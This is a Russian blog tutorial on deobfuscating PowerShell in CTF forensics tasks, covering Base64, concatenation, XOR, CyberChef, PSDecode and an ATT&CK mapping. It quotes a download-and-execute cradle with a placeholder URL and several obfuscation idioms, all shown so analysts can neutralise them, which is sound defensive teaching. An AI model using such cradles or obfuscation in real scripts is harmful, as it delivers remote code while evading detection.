Главная / Блог / Деобфускация PowerShell скриптов: разбор для CTF

12 мин.00

Деобфускация PowerShell скриптов: разбор для CTF

Деобфускация PowerShell скриптов: разбор для CTF

На CTF категории forensics попался .ps1 в 12 КБ — сплошная стена из [ChaR], конкатенаций через + и тройной Base64-обёртки. Без методологии такой скрипт можно ковырять часами. С правильным подходом — за 20 минут. Деобфускация PowerShell скриптов в CTF сводится к нескольким повторяемым приёмам, и дальше — пошаговый разбор каждого: от ручной замены Invoke-Expression на Write-Output до автоматизации через PSDecode и рецептов CyberChef.

Зачем атакующие обфусцируют PowerShell

PowerShell — штатный инструмент Windows, стоит на каждой машине начиная с Windows 7. По классификации MITRE ATT&CK это техника PowerShell (T1059.001, Execution), а Powershell.exe входит в каталог LOLBAS (Living Off The Land Binaries). Атакующие берут его потому, что он уже на месте — ничего качать не надо.

Обфускация — следующий логический шаг. Техника Obfuscated Files or Information (T1027, Defense Evasion) и её подтехники Command Obfuscation (T1027.010) и Encrypted/Encoded File (T1027.013) описывают конкретные методы маскировки: от простого Base64-кодирования до многослойных конструкций, где каждый уровень расшифровывает следующий. Матрёшка, по сути.

Мотивация атакующего проста: обфусцированный скрипт обходит сигнатурный анализ антивирусов. Строка Invoke-WebRequest в открытом виде детектируется, а та же строка, разбитая на [char]-коды — нет. Техника Ingress Tool Transfer (T1105, Command and Control) часто реализуется именно через обфусцированный PowerShell, который тянет основную нагрузку с внешнего сервера.

Для авторов CTF-заданий PowerShell — удобный объект: он позволяет навернуть произвольное количество слоёв кодирования, каждый из которых использует встроенные функции языка. Участник должен последовательно снять слои и вытащить полезную нагрузку — URL, флаг или команду. Понимание мотивации помогает на CTF: если вы знаете, что скрипт в итоге должен что-то скачать или выполнить, вы знаете, что искать в деобфусцированном результате.

Техники обфускации PowerShell: что искать в CTF-тасках

Прежде чем деобфусцировать, нужно понять, что перед вами. В тасках и реальных инцидентах встречаются несколько устойчивых паттернов. Распознавание их на глаз — первый шаг, который экономит время.

Base64 и параметр EncodedCommand

Самый частый первый слой — Base64-кодирование всего скрипта. PowerShell нативно поддерживает выполнение закодированного кода через параметр -EncodedCommand (сокращённо -Enc, -EC или даже -e — парсер принимает любой уникальный префикс). Характерные признаки:

  • Длинная строка из символов A-Za-z0-9+/= после параметра -Enc
  • Строка содержит UTF-16LE кодировку: каждый ASCII-символ перемежается нулевым байтом, поэтому размер закодированной строки примерно вдвое больше оригинала
  • Вызов [System.Convert]::FromBase64String() внутри скрипта — это уже следующий уровень

Одним Base64 дело обычно не ограничивается: скрипт может содержать Base64 внутри Base64, с промежуточным Invoke-Expression между слоями. Паттерн «кодирование → декодирование → IEX → следующий уровень» повторяется столько раз, сколько автор задания посчитал нужным.

Конкатенация строк и подстановка символов

Второй по распространённости метод — разбиение команд на фрагменты:

  • ('Down'+'loadStr'+'ing') вместо DownloadString
  • [char]73+[char]69+[char]88 вместо IEX
  • -join массивов символов: (-join [char[]](73,69,88))
  • Обращение строки: 'xei'[-1..-3] -join '' даёт iex
  • Замена символов: 'hxxp://...'.Replace('xx','tt') восстанавливает http://...
  • Вставка «мусорных» символов с последующим удалением: ('I{0}E{1}X' -f '','') собирается в IEX

Эти техники ничего не шифруют — они ломают сигнатурный поиск. При деобфускации достаточно выполнить конкатенацию, и строка собирается обратно в читаемый вид.

XOR и побайтовое кодирование

Более серьёзный слой — побайтовый XOR. Скрипт содержит массив байтов и ключ, каждый байт XOR-ится с ключом для получения исходного текста. Характерные признаки:

  • Массивы вида @(72,101,108,108,111) или 0x48,0x65,0x6C,0x6C,0x6F
  • Цикл foreach с операцией -bxor
  • Вызов [System.Text.Encoding]::ASCII.GetString() после преобразования

В CTF XOR-ключ часто короткий (1–4 байта) и может быть подобран автоматически. Однобайтовый ключ — CyberChef подберёт за секунды через brute force. Многобайтовый — частотный анализ по распределению символов в декодированном тексте.

Анализ вредоносных PowerShell скриптов: три метода деобфускации

Распознали паттерны — переходим к разбору обфусцированного PowerShell. Три метода, от самого безопасного до требующего запуска кода.

Замена IEX на Write-Output

Центральный приём ручного анализа вредоносных PowerShell скриптов. Работает в большинстве CTF-сценариев и не требует ничего, кроме текстового редактора.

Логика: обфусцированный скрипт обычно заканчивается вызовом Invoke-Expression (или алиасов), который берёт расшифрованную строку и выполняет её как код. Заменяем IEX на Write-Output — строка не выполнится, а выведется в консоль в расшифрованном виде.

# Было (выполняет код):
IEX (New-Object Net.WebClient).DownloadString('http://...')
# Стало (выводит расшифрованный код в консоль):
Write-Output (New-Object Net.WebClient).DownloadString('http://...')
# Что искать в скрипте (Ctrl+H в ISE или редакторе):
# IEX, Invoke-Expression, .Invoke(), | iex, &($x)

Где искать IEX в обфусцированном скрипте — прячут его по-разному:

  • Прямой вызов: IEX, iex, Invoke-Expression
  • Через переменную: $x = 'IEX'; & $x или & ([scriptblock]::Create($decoded))
  • Через пайп: $decoded | IEX
  • Через .Invoke(): [scriptblock]::Create($decoded).Invoke()
  • Через резолв алиаса: & (gcm *ke-E*) $decoded — PowerShell резолвит в Invoke-Expression

В CTF чаще встречается многослойная конструкция. Алгоритм итеративный: заменили все IEX на Write-Output, запустили скрипт, скопировали вывод. Это следующий слой — повторяем замену и запуск. Продолжаем, пока вывод не станет читаемым. Каждый цикл снимает один слой обфускации. Для типичного CTF-таска — от двух до пяти итераций.

Дамп переменных через PowerShell ISE

Метод из блога Security Literate — самый быстрый способ расшифровки PowerShell скрипта, если он не содержит деструктивных действий.

Суть: запустить скрипт в PowerShell ISE (встроенном в Windows) и после выполнения вытащить все переменные из памяти. Предусловие — изолированная виртуальная машина Windows без сетевого доступа. Никогда не запускайте подозрительные скрипты на рабочей машине. Серьёзно — даже «просто посмотреть».

Порядок действий:

  1. Откройте PowerShell ISE (powershell_ise.exe)
  2. Вставьте обфусцированный скрипт в верхнюю панель
  3. Удалите вызов powershell.exe и начальные параметры (-NoP, -NonI, -W Hidden, -Enc) — оставьте только тело скрипта
  4. Замените все IEX на Write-Output (обязательно до запуска)
  5. Запустите скрипт (F5)
  6. В консоли внизу выполните дамп переменных:
# После выполнения скрипта в PowerShell ISE
Get-Variable | Where-Object { $_.Name -notin
  ('true','false','null','HOME','PID','PSVersionTable') } |
  Format-Table Name, Value -AutoSize
# Для вывода содержимого конкретной переменной:
Write-Output $имя_переменной

Фильтрация системных переменных (true, false, HOME) убирает шум. Переменные, определённые в скрипте, содержат промежуточные и конечные результаты деобфускации. В примере Security Literate при анализе вредоносного документа MS Word переменная $gazuk содержала полностью деобфусцированные команды — URL для скачивания и проверки виртуализации (VMware, VirtualBox, KVM). Скрипт определял, работает ли он в песочнице, и при прохождении проверок тянул JavaScript-файл и исполняемый файл с внешних серверов.

Ограничение: если скрипт немедленно выполняет деструктивное действие (удаление файлов, шифрование) до записи в переменные — запуск в ISE нанесёт ущерб даже виртуальной машине. Поэтому замена IEX на Write-Output — первый шаг до любого запуска. Без исключений.

Разбор обфусцированного PowerShell через CyberChef

CyberChef (разработка GCHQ) — универсальный инструмент для декодирования, работающий в браузере. Главное преимущество: не запускает подозрительный код и не требует VM. Открыл вкладку — работаешь.

Рабочий процесс для типичного PowerShell-пейлоада:

Шаг 1 — извлечение. Если скрипт запускается через powershell.exe -Enc <строка>, скопируйте строку после -Enc. Это Base64 в UTF-16LE.

Шаг 2 — рецепт. Соберите цепочку операций в CyberChef (перетаскивание блоков в область рецепта):

  • From Base64 — декодирует первый слой
  • Decode text (UTF-16LE) — преобразует юникод в читаемый текст
  • Если результат содержит ещё один Base64 — добавьте второй From Base64
  • Find / Replace с регулярным выражением — удалите IEX для безопасного чтения

Шаг 3 — XOR. Если после Base64 видите нечитаемые байты, добавьте операцию XOR Brute Force. CyberChef покажет результат для каждого однобайтового ключа — читаемый текст будет визуально заметен в списке.

Шаг 4 — сохранение. CyberChef позволяет сохранить цепочку операций в URL — удобно для документирования решения CTF-таска и для write-up.

Распространённые рецепты для CTF:

  • From Base64 → Decode text (UTF-16LE) → Find/Replace — для -EncodedCommand
  • From Base64 → Gunzip → Decode text — для сжатых пейлоадов с IO.Compression.GZipStream
  • From Hex → XOR → Decode text — для XOR-кодированных блоков
  • From Charcode (Delimiter: comma) — для массивов [char]

Минус CyberChef: он не обрабатывает динамическую обфускацию, где результат зависит от промежуточных вычислений PowerShell (переменные, ссылающиеся друг на друга, условные конструкции). Тут уже без VM не обойтись.

Автоматизация анализа скриптов в CTF: PSDecode и PowerDecode

Когда слоёв больше трёх и ручная замена IEX начинает утомлять — подключаем автоматизацию.

PSDecode — модуль PowerShell, перехватывающий вызовы Invoke-Expression и записывающий каждый слой в лог. Установка: Install-Module PSDecode из PowerShell Gallery. Запуск: PSDecode <путь_к_скрипту.ps1>. На выходе — каждый промежуточный результат деобфускации от первого слоя до последнего. По сути тот же принцип, что и ручная замена IEX, но без рутины.

PowerDecode — инструмент потяжелее, способный обрабатывать несколько типов кодирования одновременно. Он рекурсивно снимает слои Base64, Hex, XOR и выводит финальный результат. PowerDecode полезен для реальных инцидентов, где обфускация сложнее типичного CTF.

Когда автоматизация не работает:

  • Скрипт использует динамические ключи — ключ XOR генерируется из имени хоста или даты запуска
  • Обфускация построена на Add-Type с C#-кодом внутри — PSDecode не обрабатывает встроенный C#
  • Скрипт проверяет окружение и меняет поведение: наличие параметра -W Hidden (техника Hidden Window, T1564.003) может влиять на логику выполнения

В таких случаях — возврат к ручному анализу или дебаггер PowerShell ISE с точками останова. Команда Set-PSBreakpoint -Script script.ps1 -Line 42 ставит брейкпоинт на конкретную строку, после чего можно пошагово исследовать значения переменных.

Расшифровка PowerShell скрипта: сквозной пример

Разберём типичный CTF-сценарий от начала до флага. Пример концептуальный, но методология — та же, что и на реальных тасках.

Условие: дан файл artifact.ps1, извлечённый из memory dump. Найти флаг формата CTF{...}.

Шаг 1 — первичный осмотр. Открываем файл в текстовом редакторе (не в PowerShell!). Видим первую строку: powershell.exe -NoP -NonI -W Hidden -Enc <длинная_строка>. Параметры -NoP (No Profile), -NonI (Non-Interactive), -W Hidden (Hidden Window) — классические маркеры вредоносного запуска. Скрипт пытался выполниться скрытно. Уже интересно.

Шаг 2 — снятие первого слоя. Копируем строку после -Enc в CyberChef. Рецепт: From Base64 → Decode text (UTF-16LE). Получаем читаемый PowerShell-код второго уровня.

Шаг 3 — анализ второго уровня. Результат содержит переменную $s с ещё одной Base64-строкой. Далее — цепочка вызовов: [System.Convert]::FromBase64String($s) → создание MemoryStream → распаковка через IO.Compression.GZipStream → чтение через StreamReader → финальный IEX. Паттерн «Base64 + GZip + IEX» — один из самых ходовых в CTF.

Шаг 4 — снятие второго слоя. Вытаскиваем строку из переменной $s, применяем в CyberChef рецепт: From Base64 → Gunzip. Получаем третий уровень — чистый PowerShell без обфускации.

Шаг 5 — извлечение флага. Третий уровень содержит: переменную $flag со значением Base64-строки и вызов [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($flag)). Декодируем Base64 из $flag через CyberChef (From Base64) — готово.

Весь процесс — три итерации: EncodedCommand → GZip → финальный Base64. На каждом шаге одна операция. Время — около десяти минут, включая документирование.

Чек-лист forensics-анализа PowerShell

Перед погружением в деобфускацию — систематическая разведка, которая определяет выбор метода.

Фаза 0 — безопасность: - Работать только в изолированной VM без сетевого доступа - Не запускать скрипт с оригинальным IEX / Invoke-Expression - Сделать снэпшот VM перед первым запуском

Фаза 1 — визуальный осмотр: - Есть ли -Enc / -EncodedCommand в командной строке — признак Base64 - Присутствуют ли [char], -join, -bxor, .Replace() — признаки конкатенации и XOR - Сколько раз встречается IEX / Invoke-Expression / iex — это количество слоёв - Есть ли IO.Compression — признак GZip-сжатия - Есть ли Net.WebClient, Invoke-WebRequest, DownloadString — индикаторы загрузки (T1105)

Фаза 2 — выбор метода: - Один слой Base64 → CyberChef: From Base64 → UTF-16LE - Несколько вложенных IEX → замена на Write-Output, итеративно - Больше трёх слоёв → PSDecode - XOR с неизвестным ключом → CyberChef XOR Brute Force - Динамические ключи → дебаг в ISE с Set-PSBreakpoint

Фаза 3 — документирование: - Сохранить каждый промежуточный слой: layer1.ps1, layer2.ps1... - Записать рецепт CyberChef (URL с параметрами) - Зафиксировать итоговые IoC: URL, IP, доменные имена

Таблица предусловий для каждого метода:

Метод Требуется VM Запускает код Обрабатывает XOR Многослойность
CyberChef Нет Нет Да (brute force) Вручную
IEX → Write-Output Да Частично Нет Итеративно
Дамп переменных (ISE) Да Да Нет Автоматически
PSDecode Да Частично Нет Автоматически
PowerDecode Да Частично Да Автоматически

MITRE ATT&CK маппинг для write-up

Если CTF-таск требует forensics-отчёт, полезно замапить обнаруженные техники обфускации PowerShell на MITRE ATT&CK. Для обфусцированного PowerShell типичная цепочка:

Тактика Техника ID Индикатор в скрипте
Execution PowerShell T1059.001 Вызов powershell.exe
Defense Evasion Obfuscated Files or Information T1027 Любая обфускация
Defense Evasion Command Obfuscation T1027.010 Конкатенация, [char]
Defense Evasion Encrypted/Encoded File T1027.013 Base64, XOR
Defense Evasion Deobfuscate/Decode Files or Information T1140 FromBase64String, GZip
Defense Evasion Hidden Window T1564.003 Параметр -W Hidden
Command and Control Ingress Tool Transfer T1105 DownloadString, WebClient

Эта таблица — готовый блок для write-up. Обнаружение вредоносного PowerShell по этим индикаторам применимо и в CTF, и при анализе реальных инцидентов.

Подавляющее большинство CTF-тасков категории malware и forensics с PowerShell решаются тремя приёмами: замена IEX на Write-Output, CyberChef для Base64/XOR и PSDecode для автоматизации. Никакого реверса на уровне ассемблера — чистая методология. Проблема в том, что новички тратят часы, пытаясь «прочитать» обфусцированный скрипт глазами, разбирая каждый [char]-код вручную. Это не анализ — это мазохизм.

На практике я всегда начинаю с CyberChef: безопасно, не требует VM, показывает результат за секунды. Если CyberChef не справляется — динамические переменные, вложенные вычисления — перехожу к ISE с подменой IEX. PSDecode подключаю только когда слоёв больше пяти и ручная итерация начинает раздражать. За несколько десятков CTF с этим подходом ни один таск с PowerShell не занял больше получаса.

Главная ошибка, которую вижу у коллег: они не документируют промежуточные слои. Снял Base64, получил следующий кусок — и сразу в него нырнул. Потом забыл, что было на предыдущем уровне, и не может восстановить цепочку для write-up. Каждый слой — в отдельный файл с номером: layer0_raw.ps1, layer1_decoded.ps1, layer2_gunzipped.ps1. Это занимает пять секунд и экономит полчаса при написании отчёта. Деобфускация — только одна сторона медали: чтобы по-настоящему понимать, что ищешь в обфусцированном коде, полезно самому пройти весь путь создания пейлоада. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят в течение двух модулей с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Ghidra для начинающих: анализ без ассемблера

12 мин.

3

Ghidra для начинающих: анализ без ассемблера

Практический Ghidra туториал: от установки до извлечения C2-адреса из бинарника. Читаем декомпилированный код вместо ассемблера за 40 минут.

30 ОКТЯБРЬ, 2026

XXE инъекция эксплуатация: файлы и SSRF в CTF

12 мин.

3

XXE инъекция эксплуатация: файлы и SSRF в CTF

Пошаговые payload'ы XXE для CTF: чтение файлов через file:// и php://filter, SSRF к metadata API, blind OOB-эксфильтрация. Workflow Burp Suite и обходы WAF.

30 ОКТЯБРЬ, 2026

exiftool в CTF: извлечение метаданных файлов

15 мин.

8

exiftool в CTF: извлечение метаданных файлов

Пошаговый разбор exiftool для CTF forensics: извлечение метаданных из EXIF, PDF и Office. Команды, pdf-parser, Python-альтернативы — от новичка до флага

29 ОКТЯБРЬ, 2026